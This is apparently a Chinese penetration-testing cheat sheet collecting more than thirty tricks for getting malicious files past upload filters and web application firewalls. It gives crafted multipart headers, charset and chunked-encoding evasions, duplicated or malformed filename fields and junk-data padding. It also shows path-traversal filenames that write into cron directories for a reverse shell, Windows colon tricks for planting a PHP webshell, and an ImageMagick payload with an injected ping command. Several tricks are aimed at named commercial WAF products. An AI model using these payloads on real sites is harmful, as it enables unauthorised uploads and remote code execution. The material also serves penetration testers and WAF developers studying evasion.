在上传漏洞的测试的过程中,我们要注意的是我们是bypass这个上传漏洞本身,还是bypass这个防护waf,在很多时候,我们可能弄着弄着会混淆,从而造成许多无谓的payload尝试。
以下有些套路都是老的了,但是一些老旧的站可能也可以绕,积累老的绕的姿势,也有助于拓展开发新的绕过姿势(尤其是一些比较一般的waf,云waf是比较难绕的)

老生常谈的话题了,希望能给看到的人能给予一些微不足道的帮助。

1、畸形包绕过

成功率不大
例如HTTP/1.1 可以替换成HTTP/0.9 HTTP/2.0
image.png

header绕过1

host换行+静态资源
image.png

header绕过2

在boundary前加空格
image.png

这里值得注意的是boundary能不能为空格,答案是可以的。
boundary存在于content上传文件内容字段的一些情况,都是值得我们注意的去fuzz的点。

header绕过3

boundary前加参数绕过
Content-Type: multipart/form-data; bypass;boundary=——WebKitFormBoundary1mDkzsdkfTPYXqrf

header绕过4

针对boundary字段,我们可以尝试使用
1、boundary=íó 这种不可见奇怪的字符串
2、boundary=—11,boundary=—test # Content-Type中多个boundary干扰
3、boundary=—11,22 # boundary修改成—11,22,php仅识别11
4、bypassboundary=—11 # boundary前面添加任意字符 经过测试,暂未成功

header绕过5

通常waf只坚持他所识别的编码,比如说它只识别utf-8的字符,但是服务器可以识别比utf-8更多的编码。那么我们只需要将payload按照waf识别不了但是服务器可以解析识别的编码格式即可绕过

一般出现的可能较多的是IIS+ASP.NET场景,据说该方法绕过SQL的场景可能会多些?

替换charset字段——GB2312 UTF-8 UTF-7 UTF-16 GB18030 ibm500 ibm1026 ibm037 cp875

  1. big5
  2. big5-hkscs
  3. euc-jp
  4. euc-kr
  5. gb18030
  6. gb2312
  7. gbk
  8. ibm-thai
  9. ibm00858
  10. ibm01140
  11. ibm01141
  12. ibm01142
  13. ibm01143
  14. ibm01144
  15. ibm01145
  16. ibm01146
  17. ibm01147
  18. ibm01148
  19. ibm01149
  20. ibm037
  21. ibm1026
  22. ibm1047
  23. ibm273
  24. ibm277
  25. ibm278
  26. ibm280
  27. ibm284
  28. ibm285
  29. ibm297
  30. ibm420
  31. ibm424
  32. ibm437
  33. ibm500
  34. ibm775
  35. ibm850
  36. ibm852
  37. ibm855
  38. ibm857
  39. ibm860
  40. ibm861
  41. ibm862
  42. ibm863
  43. ibm864
  44. ibm865
  45. ibm866
  46. ibm868
  47. ibm869
  48. ibm870
  49. ibm871
  50. ibm918
  51. iso-2022-cn
  52. iso-2022-jp
  53. iso-2022-jp-2
  54. iso-2022-kr
  55. iso-8859-1
  56. iso-8859-13
  57. iso-8859-15
  58. iso-8859-2
  59. iso-8859-3
  60. iso-8859-4
  61. iso-8859-5
  62. iso-8859-6
  63. iso-8859-7
  64. iso-8859-8
  65. iso-8859-9
  66. jis_x0201
  67. jis_x0212-1990
  68. koi8-r
  69. koi8-u
  70. shift_jis
  71. tis-620
  72. us-ascii
  73. utf-16
  74. utf-16be
  75. utf-16le
  76. utf-32
  77. utf-32be
  78. utf-32le
  79. utf-8
  80. windows-1250
  81. windows-1251
  82. windows-1252
  83. windows-1253
  84. windows-1254
  85. windows-1255
  86. windows-1256
  87. windows-1257
  88. windows-1258
  89. windows-31j
  90. x-big5-solaris
  91. x-euc-jp-linux
  92. x-euc-tw
  93. x-eucjp-open
  94. x-ibm1006
  95. x-ibm1025
  96. x-ibm1046
  97. x-ibm1097
  98. x-ibm1098
  99. x-ibm1112
  100. x-ibm1122
  101. x-ibm1123
  102. x-ibm1124
  103. x-ibm1381
  104. x-ibm1383
  105. x-ibm33722
  106. x-ibm737
  107. x-ibm834
  108. x-ibm856
  109. x-ibm874
  110. x-ibm875
  111. x-ibm921
  112. x-ibm922
  113. x-ibm930
  114. x-ibm933
  115. x-ibm935
  116. x-ibm937
  117. x-ibm939
  118. x-ibm942
  119. x-ibm942c
  120. x-ibm943
  121. x-ibm943c
  122. x-ibm948
  123. x-ibm949
  124. x-ibm949c
  125. x-ibm950
  126. x-ibm964
  127. x-ibm970
  128. x-iscii91
  129. x-iso-2022-cn-cns
  130. x-iso-2022-cn-gb
  131. x-iso-8859-11
  132. x-jis0208
  133. x-jisautodetect
  134. x-johab
  135. x-macarabic
  136. x-maccentraleurope
  137. x-maccroatian
  138. x-maccyrillic
  139. x-macdingbat
  140. x-macgreek
  141. x-machebrew
  142. x-maciceland
  143. x-macroman
  144. x-macromania
  145. x-macsymbol
  146. x-macthai
  147. x-macturkish
  148. x-macukraine
  149. x-ms932_0213
  150. x-ms950-hkscs
  151. x-mswin-936
  152. x-pck
  153. x-sjis_0213
  154. x-utf-16le-bom
  155. x-utf-32be-bom
  156. x-utf-32le-bom
  157. x-windows-50220
  158. x-windows-50221
  159. x-windows-874
  160. x-windows-949
  161. x-windows-950
  162. x-windows-iso2022jp

• application/x-www-form-urlencoded;charset=ibm037
• multipart/form-data; charset=ibm037,boundary=blah
• multipart/form-data; boundary=blah ; charset=ibm037

2、filename和content-Dxx参数下功夫

中间加个双引号,filename读取成字符串
Content-Disposition: form-data; name=”a”;”; filename=”1.aspx”
image.png
image.png
—————————————————————————————————————————————————————————-
—————————————————————————————————————————————————————————

添加多个content-Dispostion字段

burp解析的是1,传入服务器的却是2
Content-Disposition:name=”FileUpload1”;filename=”a.aspx”;
Content-Disposition:name=”FileUpload1”;filename=”axxx.aspx”;
image.png
—————————————————————————————————————————————————————————-
—————————————————————————————————————————————————————————

删除Content-Type: image/jpeg

删除Content-Type或者更改它的位置
image.png

—————————————————————————————————————————————————————————-
—————————————————————————————————————————————————————————

文件名分成两行,以前可以过safedog

Content-Disposition: form-data; name=”FileUpload1”filename=”11aaa.jpg”
aaa.php”
image.png
也不一定要这样分,也可以
Content-Disposition: form-data; name=”FileUpload1”filename=
“11aaa.jpg” 等等

甚至可以这样
filename=”
x
.p
h
p

也不一定要tab,用hex 0a来代替也可以 在一些字段用hex 09也可以
image.png
—————————————————————————————————————————————————————————-
—————————————————————————————————————————————————————————

替换filename双引号(暂未测试成功)

Content-Disposition: form-data; name=”FileUpload1”filename=11aaa.php;
或者一单一双 (暂未成功,php应该可以)
Content-Disposition: form-data; name=”FileUpload1”filename=”11aaa.php’;

或者替换为空格或者其他字符,可以fuzz一下,空格经过测试是可以成功的
—————————————————————————————————————————————————————————-
—————————————————————————————————————————————————————————

针对filename加七加八

增加一个filename(两个)
Content-Disposition:name=”FileUpload1”;filename= ;filename=”a.aspx”
image.png
—————————————————————————————————————————————————————————-
—————————————————————————————————————————————————————————
filename=’asdasd;a.aspx’ 加个分号 或者 file= # filename= 加个#号可以过waf
image.png
filename=”11.cer”后加上;.jpg
如filename=”11.cer”;.jpg
image.png

关于这里大家要根据实际场景去分析,服务端会接受的是前面一个filename,还是后面一个filename?
filename=xxx.php a 和filename=”xxx.php a “ 后端识别的到是什么,waf识别到的又是什么,这里可以好好思考一下具体场景的?
(该方法可过老sangfor AF)

或者增加一个字符
Content-Disposition: form-data; name=”a”%u0005

双重name + 添加filename
Content-Disposition: name=x”;filename=’”;name=’a’;’
—————————————————————————————————————————————————————————-
—————————————————————————————————————————————————————————

字符溢出——filename

前提是需要重命名文件名

  1. filename="1............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................jpg.jsp"

—————————————————————————————————————————————————————————-
—————————————————————————————————————————————————————————

修改form-data字段或者直接删掉

(form-data;的意思是内容描述,form-data的意思是来自表单的数据,但是即使不写form-data,apache也接受)
Content-Disposition: for——————————m+data; name=”FileUpload1”; filename=”1111.aspx”
image.png
Content-Disposition:##########################################################name=”FileUpload1”; filename=”1111.aspx”
image.png
—————————————————————————————————————————————————————————-
—————————————————————————————————————————————————————————-

字符溢出——混淆Content-Disposition字段的规则

image.png
—————————————————————————————————————————————————————————-
—————————————————————————————————————————————————————————-

多个等于号绕过

php测试应该可以,asp失败了
image.png

针对filename的绕过还有 filename=””.aspx”
让waf以为提前结束了文件名,匹配不到后面的aspx

新绕的方法(好用)

关键在于下面那两行,打乱了waf的正则
Content-Disposition: form-data; name=”file”;filename=test.jpg.aspxx
z
x
Content-Type: application/octet-stream
image.png

3、修改accept字段

感觉可以仔细研究下Header的原理
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers
可以修改为deflate或者gizp,都可以试试

  1. Accept-Encoding: gzip
  2. Accept-Encoding: compress
  3. Accept-Encoding: deflate
  4. Accept-Encoding: br
  5. Accept-Encoding: identity
  6. Accept-Encoding: *

image.png
或者修改
Content-Encoding:deflate

4、文件名加齐齐怪怪的符号(这个不算过waf,算过规则)

image.png
Content-Disposition: form-data; name=”file”; filename=”???123.asp,txt”
image.png
image.png

5、ASP专属bypass-devcap-charset

在ASP里有专属的x-up-devcap-post-charset,它可以用来代替charset,我们可以利用它bypasswaf

为了证明该字段的确是影响了包的发送,附上两个截图
image.png
image.png
为了告诉ASP.NET注意这个新的请求头,User-Agent的值需要以UP作为开头!
User-Agent: UP foobar Chrome/90.0.4430.212 Safari/537.36
x-up-devcap-post-charset:ibm500

6、内网白名单绕waf

前提是要在拿到在同内网的另外一台服务器,意思就是拿到A站的权限,现在要拿B站的权限,我们通过SOCKS隧道代理,将自己的流量放在A站,假装自己在A站的内网里了,这样waf可能防御的外部的而不防御内部的攻击

更详细的可以看此文https://xz.aliyun.com/t/7860

7、自动Bypass后缀

fuzz后缀的字典
upload_fuzz_dic.txt

有兴趣可以玩一玩,还挺不错的
https://github.com/almandin/fuxploider

8、内容免杀的tips

内容中增加
———WebKitFormBoundaryOfLCH2RHsvUAs4Ai——
来欺骗waf的正则,让它误以为文件上传结束,这样就不再检测之后的内容
image.png

9、上传路径可控+Linux服务器

在jdk7u40后限制了jsp的00截断。
在对Springboot应用,由于框架对JSP解析存在一定的限制,即使存在任意文件上传缺陷,按照传统的思路直接上传jsp文件,效果也不大好。

Linux可以尝试使用计划任务来进行反弹shell,但是这种情况可遇而不可求,是在难得,在系统没有重命名的情况下可以尝试。
filename=”../../../../../../../../../var/spool/cron/root”

进行文件上传时进行了后缀检查,如果不是xlsx或者xls后缀的话,拒绝请求。因为/etc/cron.d/目录下的文件可以任意后缀命名,那么此时可以上传文件名为“../../../../../../etc/cron.d/test.xls”绕过对应的安全检查:
image.png

10、spring特性

image.png

11、古老的冒号

文件上传时file=1.php修改为file=1.php:jpg
此时如果文件上成功,会产生一个0kb的1.php文件

之前在php+window+iis的环境下,<符号等于*号,可以匹配任意字符串,那么也就意味着
file=1.<<< == file=1.php 于是乎 原本的1.php就会被1.<<<被匹配上,然后进行覆盖,从而产生一个有实质文件的1.php webshell

但是实测在apache和nginx下也是可以的
然后再451第一个包
image.png
第二个包或者451<php”>>>>
image.png
这样也貌似是可以写进去的
wwwimage.png

如果尖括号被禁用的话
可以构造 jpg\”php 来匹配上jpg.php这个格式。

12、chunk编码

以下段落转载于 邑安全
Apache+php对chunked类型的HTTP请求的处理太怪了。RFC2616中说明了,客户端或服务器,收到的HTTP报文中,如果同时存在chunked与Content-Length,则一定要忽略掉content-length(这一点也理所当然,很好理解),而在apache中反而不能缺少。虽然笔者没有阅读过Apache的源码,但从这一点可以推理出,Apache本身是不支持解析chunked的(对于Apache来说,由于没有解析HTTP请求chunked的代码逻辑,所以一定要从content-length中查看该报文的长度,而chunked可能是被PHP解析了的,所以存在这两个头部一定要同时存在的怪现象)。
这一结论也很好地解释了一些让笔者不解的现象,如利用chuncked可以绕过安全狗Apache。 通过shodan搜索相关服务器,笔者简单测试一下,关于常见中间件、语言与chuncked的关系有如下参考:

|

ASPX PHP Java
Apache X Y

| | Nginx | Y |

| Y | | IIS | Y | Y |

| | Tomcat |

|

| X |

那关于chunked,可以有什么利用思路呢? 思路一,构造一个chunked请求体,尝试绕过WAF。其中可以涉及到利用chunked本身的一些规范、特性。 比如,假如WAF会解析chunked,但加入一些chunked的扩展,WAF就解析不了。 反过来,脑洞一下,假如WAF意识到了解析chunked时应该忽略这些扩展,那么在Tomcat下我们是不是可以利用它一下。

chunk编码也可用于上传文件的绕过
image.png
1、不可见编码
该方式同样可以放在别的Tip上结合使用
ctrl+shift+u 来进行url不可见字符编码,打扰正则,这样也可以识别并过waf(apache能够解析,其他中间件不知道)
image.png

2、Content-Length
在HTTP 1.1标准中规定如果Content-Length和Transfer-Encoding分块模式同时给出的时候,所使用的传输的模式是分块传输,Content-Length字段必须被忽略掉。所以,我们也可以使用Content-Length进行绕过
image.png

3、去掉末尾的0,或将其替换为其他字符
image.png

14、keep-alive(pipeline?)

可通过post请求,设置content-length为2230,实际只发送10字节,设法让服务器提前响应(404或重定向),但是服务器又不会关闭连接,导致sangfor_waf给该连接打上bypass标记;
image.png
这种方法测试暂未成功(看demo测试为命令执行,上传可能不行),此处也可以尝试换成pipeline方式绕过,也就是一次性发两次包

15、配置文件

上传的时候不要忘记!.htaccess和.user.ini这两个后缀

  1. auto_prepend_file=1.jpg

这个漏洞在通达OA里有一个rename的漏洞出现了,还是比较不错的。.user.ini 以前在ctf的时候遇到过,但是经常忘记。

16、语言解析的后缀

image.png

17、绕某安全厂商AF(以下方法来源于同事分享实战)

一、后缀
Content-Disposition: form-data; name=”file”;filename=”1.jpg”; filename=1.php a
成功绕过AF后缀的检测,原因是后端PHP接受了第二个filename,但是没有引号包裹起来,导致留下的是1.php,而waf识别的filename=1.php a 截断后后缀为php a 这个后缀是无危害的,那么就绕过了

如果是Content-Disposition: form-data; filename=1.php a 则waf认为你这个有问题,就直接把你reset掉

二、垃圾数据
不得不说垃圾数据是万能的神,只不过这个神可能出现的位置可能不大一样,需要自己去想象。
Content-Type: multipart/form-data; 此处填充12187以上个字符 Boundary=—————————————-1750181627 Content-Type: multipart/form-data;Boundary此处填充12187以上个字符=—————————————-175018162

三、古老的冒号(Nginx和apache均测试成功,iis还未进行实战测试
众所周知,冒号可以用来绕过后缀的检测
1.php:.jpg 1.aspx:.jpg 1.jsp:.jpg 都可以成功创建,但是内容为空
之后就利用<或者>来进行写入,如1.<<< 1.>>> 1.<>>>><<>>>
如axxxxxx.php 就可以用a><<<<<<><>来写入

18、00截断

java_在jdk7u40后限制了jsp的00截断。
php在5.3.4中修复了%00截断的问题,所以对于 php < 5.3.4 的依然有比较大的风险!
但是有小伙伴测试过5.6.40这个版本也是存在00截断的,大家可以注意一下
image.png

19、小特性-php

可以不用管结尾的— 进行上传
图片.png

20、小特性-JAVA

对于Java,可以使用UTF-16编码。
image.png

21、imagemagick

一个老漏洞,突然有一天有人说用这个漏洞挖到了RCE

  1. push graphic-context
  2. viewbox 0 0 640 480
  3. fill 'url(https://127.0.0.0/oops.jpg"|ping "dnslog.cn)'
  4. pop graphic-context

22、java 的windows特性

所有的windows特性都可能有问题
斜杠/ \可以
image.png
image.png
小特性
image.png
加点
image.png
::$data这个就不多说Lee
普通的冒号在java创建文件时提示报错
image.png
只需在冒号后添加一个字符即可 txt:11111
image.png

23、commons-fileupload源码解析filename

我是killer大佬通过分析源码得出的结论
filename前后加入空白字符来绕过waf,在该源码里不仅%20空格被视为空白字符,还存在其他的

  1. %20
  2. %09
  3. %0a
  4. %0b
  5. %0c
  6. %0d
  7. %1c
  8. %1d
  9. %1e
  10. %1f

image.png
此外Y4tacker 师傅也分享了一个Tips
image.png
简单的来说就是
1、以=?编码类型?开头,如=?gbk?
2、下一个?之间为编码,可以为Q和B
3、定位到最后一个?=,中间解析解码

并且,该编码方式可以用在许多地方,不仅仅是filename字段,name字段等等等,header等地方应该是不能加的
例如,并支持\t \r \n

  1. name="filename"
  2. name="?gbk?Q?=66=69=6c=65=6e=61=6d=65?="
  3. test1——》dGVzdDE=
  4. .——》=2e
  5. jsp——》anNw
  6. 因此
  7. name="test1.jsp"
  8. name="=?utf-8?B?dGVzdDE=?=\t=?gbk?Q?=2e?=\t?gbk?B?anNw?="

24、RFC 4.3 Tips waf bypass

filename=UTF-8’’URL编码
Content-Disposition: attachment; filename
= UTF-8’’%e2%82%ac%20rates
或者是
filename=ASCII-8BIT’’bbb%22class%3D%22gfm%22a%3D%27.png
例如
Content-Disposition: inline; filename
=utf-8’en’test%20%D7%A2%D7%91%D7%A8%D7%99%D7%AA.txt
image.png
不过还是Bypass不了白名单后缀

25、先知社区之dot.net文件上传tips

由于会根据字符集忽略某些空白字符,因此可以根据这些空白字符混淆waf
image.png

  1. Content-Type: multipart/form-data\u0085,;;,,,,,;;, boundary = aaa

也就是

  1. form-data字段可以不要
  2. 可以随便在filename和name前随意填充字段
  3. 但是filename和name后必须跟随等号,并且末尾有分号标识结束。
    1. Content-Disposition:\u0;;;;!@#$%^&*(;asdas\u0085d;085filename=11.aspx
    2. Content-Disposition:filename=11.aspx
    3. Content-Disposition:aaaaaaaaaaafilename=11.aspx;aaaaaaaaa
    注意下图的三个红框就好了
    image.png
    bypass点,随意字符+逗号+分号+空白字符(0085) ```go Content-Type: multipart/form-dataAAAAAAAAAAAA;boundary=——aaaa Content-Type: multipart/form-dataAAAAAAAAAAAA,boundary=——aaaa Content-Type: multipart/form-dataAAAAAAAAAAAA boundary=——aaaa Content-Type: multipart/form-dataAAAAAAAAAAAA\tboundary\t=\t——aaaa
  1. 参考资料:<br />[https://www.cnblogs.com/-chenxs/p/11510895.html](https://www.cnblogs.com/-chenxs/p/11510895.html)<br />[https://xz.aliyun.com/t/9507](https://xz.aliyun.com/t/9507)
  2. 上传的技巧,包括不同类型的上传点<br />[https://sec-in.com/article/218](https://sec-in.com/article/218)
  3. HTTP头协议解析<br />[https://cloud.tencent.com/developer/doc/1117](https://cloud.tencent.com/developer/doc/1117)
  4. <a name="SFDMA"></a>
  5. ### 26、WAR包文件上传bypass
  6. filename 参数添加 \ 字符的时候发现成功部署了应用并且绕过了 WAF 拦截,按照正常逻辑来说,这样的包不应该被成功部署的。
  7. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/1431765/1653651143200-7ae2256d-ecb6-41f1-a1e9-a9b0115f8e3d.png#clientId=u18719e52-62e4-4&crop=0&crop=0&crop=1&crop=1&errorMessage=unknown%20error&from=paste&height=401&id=u9d5dc300&margin=%5Bobject%20Object%5D&name=image.png&originHeight=537&originWidth=816&originalType=binary&ratio=1&rotation=0&showTitle=false&size=129766&status=error&style=none&taskId=u96aefd4d-b912-46d4-a494-8752fc52add&title=&width=609.7999877929688)<br />由于fu2.\war在流量中WAF是不认为它是一个危险的后缀,所以也就不拦截了。往后延伸,其实\f\u\2\.w\a\r 或者demo.w\\\\\\ar等都可以进行绕过,后续看各位师傅的发挥了。
  8. <a name="Rd0ds"></a>
  9. ### 27、文件上传之不完全的白名单+IE
  10. 一次文件上传,白名单校验,但是不完全,<br />只要filename后缀有jpg 这三个完整的字符就可以通过,如果是windows就可以RCE了,但是是Linux,所以不行。
  11. Linux 是基于文件头和内容来判断文件类型的。
  12. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/1431765/1653830956358-ce4caf22-aede-4532-8e6c-cfbbb36c3a09.png#clientId=u70ffd43f-08ce-4&crop=0&crop=0&crop=1&crop=1&errorMessage=unknown%20error&from=paste&height=296&id=u900623bf&margin=%5Bobject%20Object%5D&name=image.png&originHeight=370&originWidth=1326&originalType=binary&ratio=1&rotation=0&showTitle=false&size=69281&status=error&style=none&taskId=u3606c10a-2840-4f63-8505-c272cf82e33&title=&width=1060.8)
  13. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/1431765/1653831347225-2dc88c46-5f7f-4274-9b87-e07fba6a27f1.png#clientId=u70ffd43f-08ce-4&crop=0&crop=0&crop=1&crop=1&errorMessage=unknown%20error&from=paste&height=250&id=u89748821&margin=%5Bobject%20Object%5D&name=image.png&originHeight=313&originWidth=878&originalType=binary&ratio=1&rotation=0&showTitle=false&size=30771&status=error&style=none&taskId=u23bb40d0-0865-4bb2-936e-fe16a0d9e3f&title=&width=702.4)
  14. Edge IE 浏览器在默认情况下,易受 MIME 嗅探攻击。简单来说,就是 Edge/IE 会检视文件内容,然后根据这点来设置访问类型。在我们的badfile.”gif例子中,它会先读取内容
  15. 简单的来说ie遇到不可解析的后缀,就会当做plain/html来进行解析
  16. <a name="wGrKE"></a>
  17. ### 28、老生常谈之windows和linux
  18. “:”、“>”、“<”、“::$DATA”的妙用,我这里补充一个符号:“.”。<br />点号在Windows文件名中也比较有趣,如果点号出现在文件名末尾,这个点在很多情况下是会被Windows文件系统所忽略的。比如图1,我们在cmd控制台里运行“php test.php.”,可以发现其结果和不加点一样,而把点换成其他*字符,就不行了(可以Fuzz下还有什么后缀)
  19. linux就比较绝了,但是linux有一个"" ' '<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/1431765/1654920048040-da15b981-e914-43cb-88d4-03ed7ee69c57.png#clientId=u939ec88e-daa1-4&crop=0&crop=0&crop=1&crop=1&errorMessage=unknown%20error&from=paste&height=55&id=u53dbca3e&margin=%5Bobject%20Object%5D&name=image.png&originHeight=69&originWidth=259&originalType=binary&ratio=1&rotation=0&showTitle=false&size=2776&status=error&style=none&taskId=u7688450b-fabf-4bdc-bb2e-b677be62e38&title=&width=207.2)
  20. <a name="A46ug"></a>
  21. ### 29、文件上传之获取图片头
  22. 存在一个文件上传,必须识别正确的图片头,如果头部不是图片头则抛出异常<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/1431765/1658114650175-57d552e6-d839-4007-9566-5253b6dfeb86.png#clientId=u27c5e17f-aa4c-4&crop=0&crop=0&crop=1&crop=1&errorMessage=unknown%20error&from=paste&height=292&id=u7f10a212&margin=%5Bobject%20Object%5D&name=image.png&originHeight=389&originWidth=931&originalType=binary&ratio=1&rotation=0&showTitle=false&size=126358&status=error&style=none&taskId=u9d94b240-1962-492f-8e6d-6853897454e&title=&width=698)<br />后缀是无效的,但是此时存在bug,我们往正常的图片内容中间加一个x,让图片不再是“图片”,此时后缀居然可以从正常的里面filename里面取了。<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/1431765/1658114753242-61746a2e-9b1e-4bcb-9f46-3e36459c87ff.png#clientId=u27c5e17f-aa4c-4&crop=0&crop=0&crop=1&crop=1&errorMessage=unknown%20error&from=paste&height=363&id=ua35ceaf2&margin=%5Bobject%20Object%5D&name=image.png&originHeight=363&originWidth=788&originalType=binary&ratio=1&rotation=0&showTitle=false&size=112800&status=error&style=none&taskId=u99277e86-466b-4467-991f-db90eb2fe9d&title=&width=788)
  23. <a name="LJdCD"></a>
  24. ### 30、Jquery-upload
  25. 之前就经常遇到这个JS插件,主要还是寻找Php文件。<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/1431765/1658133344640-35b3b496-486e-4e8e-b372-050a69b7c2a2.png#clientId=u86623f3c-b9e3-4&crop=0&crop=0&crop=1&crop=1&errorMessage=unknown%20error&from=paste&height=480&id=AkM9F&margin=%5Bobject%20Object%5D&name=image.png&originHeight=480&originWidth=607&originalType=binary&ratio=1&rotation=0&showTitle=false&size=58714&status=error&style=none&taskId=u5b16af60-08a8-4faa-83a8-b3a2a792535&title=&width=607)<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/1431765/1658133172757-ce21cf06-46c5-4c8c-81fb-2942ea795220.png#clientId=u86623f3c-b9e3-4&crop=0&crop=0&crop=1&crop=1&errorMessage=unknown%20error&from=paste&height=201&id=u1008dd6c&margin=%5Bobject%20Object%5D&name=image.png&originHeight=201&originWidth=647&originalType=binary&ratio=1&rotation=0&showTitle=false&size=16776&status=error&style=none&taskId=u5e84560d-a15b-4183-a272-f4edc276651&title=&width=647)
  26. <a name="ia7Dd"></a>
  27. ### 31、 boundary
  28. ```java
  29. Content-Type: multipart/form-data;
  30. boundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundary
  31. boundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundary
  32. boundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundary
  33. boundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundary=222
  34. 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  1. ontent-Length: 175
  2. Content-Type: multipart/form-data application/x-www-form-urlencoded
  3. boundaryboundaryboundarybounda
  4. ryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundarybound
  5. aryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundarybound
  6. aryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundarybound
  7. aryboundaryboundaryboundaryboundaryboundary=222;boundary=6666;

有时候还可以靠伪造 application/x-www-form-urlencoded 来Bypass waf
image.png